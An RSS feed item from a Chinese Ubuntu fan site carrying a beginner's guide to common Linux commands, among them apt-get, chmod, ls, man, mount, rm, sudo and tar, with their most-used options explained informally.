<li><a href='http://www.ubuntuhome.com/ubuntu-nero-linux-3-5-3-1.html' rel='bookmark' title='Permanent Link: ubuntu刻录软件Nero Linux 3.5.3.1 正式版'>ubuntu刻录软件Nero Linux 3.5.3.1 正式版</a></li>
</ul>]]></description>
			<content:encoded><![CDATA[<p><script type="text/javascript"><!--
google_ad_client = "pub-6623817064322353";
/* 468x15, 创建于 10-9-4 */
google_ad_slot = "6313474296";
google_ad_width = 468;
google_ad_height = 15;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
<br />[本菜鸟仅仅收录了菜鸟常用的命令,旨在方便新手入门,HX类生物就不用看了,以免被雷到 lol ]</p>
<p>所有命令按字母顺序排列,只介绍最常用参数,相信等你看完之后,就有能力man更详细的用法了</p>
<p>此前own也曾发表过几篇文章,详细的介绍了几个命令比如ls,sudo,chmod等等,看不懂man的,请自行查找:)</p>
<p>直到前天群里有人问cd命令怎么用..暴寒~~想想也是,一定有很多在win下也没接触过命令的吧?于是决定写点东东</p>
<p><strong>apt-get:</strong><br />
debian系系统的软件包管理程序(其图形化前端就是大名鼎鼎的新立得了),会自动帮你搞定依赖关系<br />
最常用参数:<br />
update        —-与你的软件源(在/etc/apt/sources.list中列出)更新软件包列表,换源后需要执行<br />
upgrade        —-根据update得到的源软件库与本地已经安装的对比,(如果需要升级就)全部升级<br />
install        —-安装软件包(可以使用tab补全软件包的名字,比较方便)<br />
remove        —-卸载软件包<br />
purge        —-卸载软件包,同时删除该软件的配置文件<br />
source        —-从源里下载软件包的源码到当前目录(执行此命令的目录)并解压(除非指定–download-only参数)<br />
该地址由/etc/apt/sources.list中的 deb-src 行指定<br />
check        —-用来(自动)修复(已装)软件包之间的依赖关系<br />
clean        —-清除/var/cache/apt/archives/包括其子目录partial/下的所有软件包缓存<br />
autoclean    —-比clean常用,我的理解是删除低版本的缓存而保留高版本的(或者包括非当前源里的软件包?)<br />
<strong>aptitude:</strong><br />
此为PT同学补充,他的说法是aptitude比apt-get少个横线,tab补全比较容易(=.=)~大概神牛都比较懒吧<br />
不得不提下蛋蛋童鞋以前说过的ubuntu彩蛋:) &lt;仅限于UBUNTU 8.04&gt;<br />
man apt        —-最后会看到 “本apt有着超级牛力” or “this APT has a super-cow power”<br />
man aptitude    —-会看到 “这个aptitude没有超级牛力”<br />
看看aptitude的参数,你就会明白为什么aptitude会标称”高级软件包管理程序”了<br />
最常用参数:<br />
search        —-在(你的源的)所有软件包列表中搜索该软件,search的表达式可以很复杂,具体看man<br />
其余常用参数同apt-get</p>
<p><strong>cat:</strong><br />
把(一个或多个)文件内容(连接)显示到标准输出<br />
当文本文件很小,而且你只是想看下,并不打算用gedit或者vim之类编辑器编辑的时候,可以cat一下,我是用来配合grep使用</p>
<p><strong><span id="more-71"></span>cd:</strong><br />
切换当前工作目录<br />
不同于其他命令,这是一个shell内置命令,所以没有手册页可看…够基础,所以才会出现在本篇文章中(=.=)郁闷<br />
最常用参数:<br />
.        —-切换到当前目录(貌似没有什么意义)(.这个目录可以通过ls -a看到)<br />
..        —-切换到上层目录<br />
~        —-回到家目录(/home/你的登录名/)</p>
<p><strong>chmod</strong>:<br />
改变文件的权限位<br />
linux文件系统的权限位有两种表示方法,要是详细说下,非得累死老鼠不可=.=,所以只说8进制数表示:)<br />
简要介绍下:ls -l可以显示出文件的权限,比如(-rwxr-xr–),代表了三种用户的权限<br />
第一个rwx,代表文件所有者的权限,即(读,写,执行),用二进制表示为111,代表八进制中的4+2+1=7<br />
第二个r-x,代表文件所有者同一用户组其他用户的权限,即(读, ,执行),用二进制表示为101,代表八进制中的5=4+0+1<br />
第三个r–,代表其他用户的权限,即(读, , ),二进制表示为100,代表八进制的4=4+0+0<br />
所以这个文件的权限位为754<br />
这也就是chmod的用法,例如chmod 751 myfile #将该文件权限设定为rwxr-x–x<br />
最常用参数:<br />
-v        —-列出当前正在执行的步骤<br />
-R        —-递归式,即改变非空目录下的一切为指定权限</p>
<p><strong>cp</strong>:<br />
拷贝文件和目录<br />
最常用参数:<br />
-b        —-为每个已经存在的目的文件作个备份<br />
-d        —-遇到软链接时不拷贝软链接所指向的文件;拷贝时保留links属性(链接数)<br />
-p        —-保留文件的访问权限,所有者,和时间戳<br />
-R和-r    —-递归式拷贝(cp过程遇到非空目录才有效),即拷贝目录,子目录,子目录的子目录…..<br />
-a        —-作用同-dpR<br />
-s        —-并不真的做拷贝,而只是为每个文件作软链接(符号链接)<br />
-u        —-同下面 mv 的-u参数</p>
<p><strong>head, tail</strong><br />
就像这两个名字,一个显示文件头部,一个显示尾部<br />
最常用参数:<br />
-n        —-指定输出的(头部或尾部)行数, 当没有此参数时,默认显示10行</p>
<p><strong>ifconfig</strong>:<br />
配置网卡<br />
最常用参数:<br />
没有参数        —-列出当前活动网卡的状态<br />
-a            —-列出所有网卡的状态<br />
interface    —-指定网卡名称比如eth0<br />
up            —-唤醒该网卡<br />
down        —-关闭该网卡<br />
arp,mtu,netmask addr,…等等很多参数 =.=</p>
<p><strong>ln</strong>:<br />
为文件建立链接<br />
linux的链接分为两种:硬链接和软链接,ln默认建立硬链接(hard link),两种的区别请自己搜索:)<br />
最常用参数:<br />
-s        —-建立软链接(符号链接,可以理解为win下的快捷方式)<br />
-f        —-如果要建立的链接名已经存在,则删除之</p>
<p><strong>ls</strong>:<br />
显示目录内容<br />
最常用参数:<br />
-a        —-显示指定目录所有文件,包括文件名以 . 开头的文件<br />
-l        —-显示文件详细信息(包括文件类型,权限,修改时间,访问时间,大小,文件名…)<br />
-h        —-将文件大小以方便阅读的形式表示出来,配合 -l 参数使用,常有奇效</p>
<p><strong>man</strong>:<br />
阅读参考手册of~<br />
题外话:HX说这是linux最最难学的命令,因为man你学好了,就没有什么命令能难倒你了,=.=无敌了<br />
man可以查的不仅仅是命令额(当然,因为man是无敌的嘛/ch)<br />
最常用参数:<br />
man 阿拉伯数字<br />
阿拉伯数字1: 可执行程序(一般为用户安装的程序,如果提供了manpages的话)和shell命令<br />
阿拉伯数字2: 系统调用(例如 open调用,socket调用,chmod调用 等等等等),先装manpages-dev先<br />
阿拉伯数字3: 库函数调用(例如 man 3 printf),先装manpages-dev先<br />
…….<br />
当你执行man ls 时, 和 man 1 ls结果是一样的,因为ls在man手册中只有一个入口<br />
当你想看chmod调用的手册页时,就要特别指定 man 2 chmod了~~因为chmod不止有一个入口<br />
在man的时候,可以通过j,k上下移动(和vi中类似),可以通过/查询,通过n,N查找下个,上个匹配(和vi类似)<br />
q退出(也和vi类似….)<br />
比较有意思的一点:<br />
由于man 本身是个命令,所以,连man都是可以man的 =.=</p>
<p><strong>mkdir</strong>:<br />
创建一个目录<br />
最常用参数:<br />
-p        —-如果给出的路径中父目录不存在,则同时创建父目录</p>
<p><strong>mount</strong>:<br />
挂载文件系统(可理解为挂载一个分区)<br />
最常用参数:<br />
-t        —-指定文件系统类型,比如iso9660(挂载iso镜像为光盘,相当于虚拟光驱),ntfs,ext3,rfs等等<br />
-l        —-列出所有已经挂载的文件系统,支持卷标<br />
-a        —-挂载fstab中记录的所有分区<br />
-n        —-挂载的时候不写入/etc/mtab<br />
-o        —-相当常用的一个参数,指定挂载文件系统的”选项”,比如noatime,用来挂载BT专用分区很合适<br />
<strong>mv</strong>:<br />
移动或者更名文件,取决于目的目录是否为当前目录<br />
最常用参数:<br />
-b        —-为每个已经存在的目的文件做个备份(防止覆盖)<br />
-f        —-不提示是否覆盖已经存在的目的文件<br />
-i        —-与-f参数相反<br />
-u        —-仅当源文件比目的文件更新或者目的文件不存在时候才移动<br />
-v        —-显示移动文件的进度(个人总是推荐使用此参数,明白你在做什么)</p>
<p><strong>ps,top:</strong><br />
列出当前命令的执行状态,ps为静态,top为动态(top时’q&#8217;退出)<br />
ps:这个命令本人更常用些,推荐给你看看=.=<br />
最常用参数(ps多用参数集合,而不是单个参数,并且配合grep使用)<br />
-ef        —-以标准语法列出当前所有进程状态,例如ps -ef | grep eva #列出eva的进程状态<br />
aux        —-以BSD语法列出………………………………..<br />
-ejH    —-列出进程树<br />
-eLf    —-同时列出线程状态</p>
<p><strong>rm, rmdir:</strong><br />
rm:删除文件或目录,rmdir:删除一个空目录(此命令个人认为没啥用,可以用rm -r替代)<br />
rm最常用参数:<br />
-f        —-不提示不存在的文件,直接跳过<br />
-i        —-每个删除动作都提示 (=.= 删除多的话岂不是烦死)<br />
-I        —-删除多个文件(多于3个时)或者递归式删除(对于非空目录)提示一次<br />
-r和-R    —-递归式删除该目录下的一切东东<br />
-v        —-显示每个文件的删除动作(个人总是推荐使用此参数,明白你在做什么)</p>
<p><strong>sudo,su:</strong><br />
这大概是装好系统之后第一个要用的命令吧?<br />
sudo我们主要用来临时提升权限,主要用以管理员(超级用户)的权限来运行命令,当需要修改当前登录用户力所不能及的文件/目录<br />
时需要用sudo,或者su -c,当然sudo和su的作用范围不仅仅如此<br />
可以使用visudo来编辑/etc/sudoers文件来修改sudo更详细的动作(比如记住密码的时间戳长度),请谨慎修改!</p>
<p><strong>sh:</strong><br />
在终端解释执行<br />
类似于’./’的形式,但PT给了不同点: ‘./’仅仅对当前目录下有执行权限的程序才有效,’sh’则不管这套<br />
想想也是哈, ‘./’仅仅是给出了一个文件的路径(在当前目录下)而已, 但这个文件能不能执行就不好说了<br />
所以用sh总是正确的</p>
<p><strong>shutdown:</strong><br />
关闭系统,如果停留在TTY,请改用halt, poweroff等命令<br />
常用参数:<br />
+m        —-指定关机延迟的分钟<br />
-c        —-取消一个等待关机的请求(关掉运行此命令的终端也可:))<br />
now        —-立即关机<br />
hh:mm    —-手动指定时间(以24小时计)</p>
<p><strong>tar:</strong><br />
打包/解包<br />
这个tar不多说了吧..到处都是tar.gz,tar.bz2的东东<br />
和ps命令一样,tar一般不用单个参数,而是多个参数的组合,记住参数x是解压(extract),c是创建包(creat)即可<br />
最常用参数:<br />
-xvf    —-详细列出解包的步骤<br />
-cvf    —-详细列出打包的步骤<br />
-j        —-用来说明这是个tar.bz2包,例如tar -xjvf myfile.tar.bz2<br />
-t        —-列出包中的文件列表<br />
—–打包时常追加的参数:<br />
-r        —-追加到压缩包中<br />
-u        —-只把比包中更新的文件追加进去<br />
-h        —-不把符号链接添加到包中,而是添加此符号链接指向的文件<br />
附加说明:tar是个太强大的东东,常用的操作也就是打包解包,高级功能还是参阅man =.=</p>
<p><strong>touch:</strong><br />
改变文件时间戳,默认包括修改时间和创建时间,默认修改为当前时间,默认如果文件不存在就新建(=.=是不是很罗嗦)</p>
<p>额“差不多就收集了这么多,感谢Ubuntu Linux群(46603737),分群(514034120)众菜的帮助</p>
<p>本文的目的很明确,只方便菜鸟,不收录高级命令</p>
<p>如果还有类似命令没有提及的,在评论中补充即可:)
<p><strong>原创文章如转载请注明：转自<a href="http://www.ubuntuhome.com">Ubuntu之家</a> {<a href="http://www.ubuntuhome.com">www.ubuntuhome.com</a>}</strong><br/><br />
<strong>本文地址:<a href="http://www.ubuntuhome.com/ubuntu-mingli.html" rel="bookmark" title="Linux 常用命令收集[菜鸟版]">Linux 常用命令收集[菜鸟版]</a></strong></p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6623817064322353";
/* 468x60, 创建于 10-9-4 */
google_ad_slot = "9529697891";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<img src="http://www.ubuntuhome.com/?ak_action=api_record_view&id=71&type=feed" alt="" />

<p>相关文章导读:<ul><li><a href='http://www.ubuntuhome.com/1119.html' rel='bookmark' title='Permanent Link: Linux 版 Chrome 即将支持 Linux 的系统密码管理系统'>Linux 版 Chrome 即将支持 Linux 的系统密码管理系统</a></li>
<li><a href='http://www.ubuntuhome.com/linux-ubuntu-dir.html' rel='bookmark' title='Permanent Link: Linux/ubuntu目录解释'>Linux/ubuntu目录解释</a></li>
<li><a href='http://www.ubuntuhome.com/linux-shutdown-command.html' rel='bookmark' title='Permanent Link: Linux 关机命令详解'>Linux 关机命令详解</a></li>
<li><a href='http://www.ubuntuhome.com/linuxubuntu-sudo.html' rel='bookmark' title='Permanent Link: Linux/Ubuntu sudo命令详解使用格式和方法'>Linux/Ubuntu sudo命令详解使用格式和方法</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-install-skype.html' rel='bookmark' title='Permanent Link: 在ubuntu中安装Skype'>在ubuntu中安装Skype</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-9-04-install-openoffice-3-1-1.html' rel='bookmark' title='Permanent Link: Ubuntu 9.04 中安装最新的 OpenOffice.org 3.1.1'>Ubuntu 9.04 中安装最新的 OpenOffice.org 3.1.1</a></li>
<li><a href='http://www.ubuntuhome.com/linux-ubuntu-quick-key.html' rel='bookmark' title='Permanent Link: Linux/ubuntu常用快捷键大集合'>Linux/ubuntu常用快捷键大集合</a></li>
<li><a href='http://www.ubuntuhome.com/install-nvidia-graphics-drivers-190-42-in-ubuntu.html' rel='bookmark' title='Permanent Link: Ubuntu安装NVIDIA全新Linux驱动190.42版'>Ubuntu安装NVIDIA全新Linux驱动190.42版</a></li>
<li><a href='http://www.ubuntuhome.com/flashget-for-linux-1-0-3.html' rel='bookmark' title='Permanent Link: 快车Flashget for linux 1.0.3 测试版 发布!'>快车Flashget for linux 1.0.3 测试版 发布!</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-nero-linux-3-5-3-1.html' rel='bookmark' title='Permanent Link: ubuntu刻录软件Nero Linux 3.5.3.1 正式版'>ubuntu刻录软件Nero Linux 3.5.3.1 正式版</a></li>
</ul></p>]]></content:encoded>
			<wfw:commentRss>http://www.ubuntuhome.com/ubuntu-mingli.html/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
	</channel>
</rss>

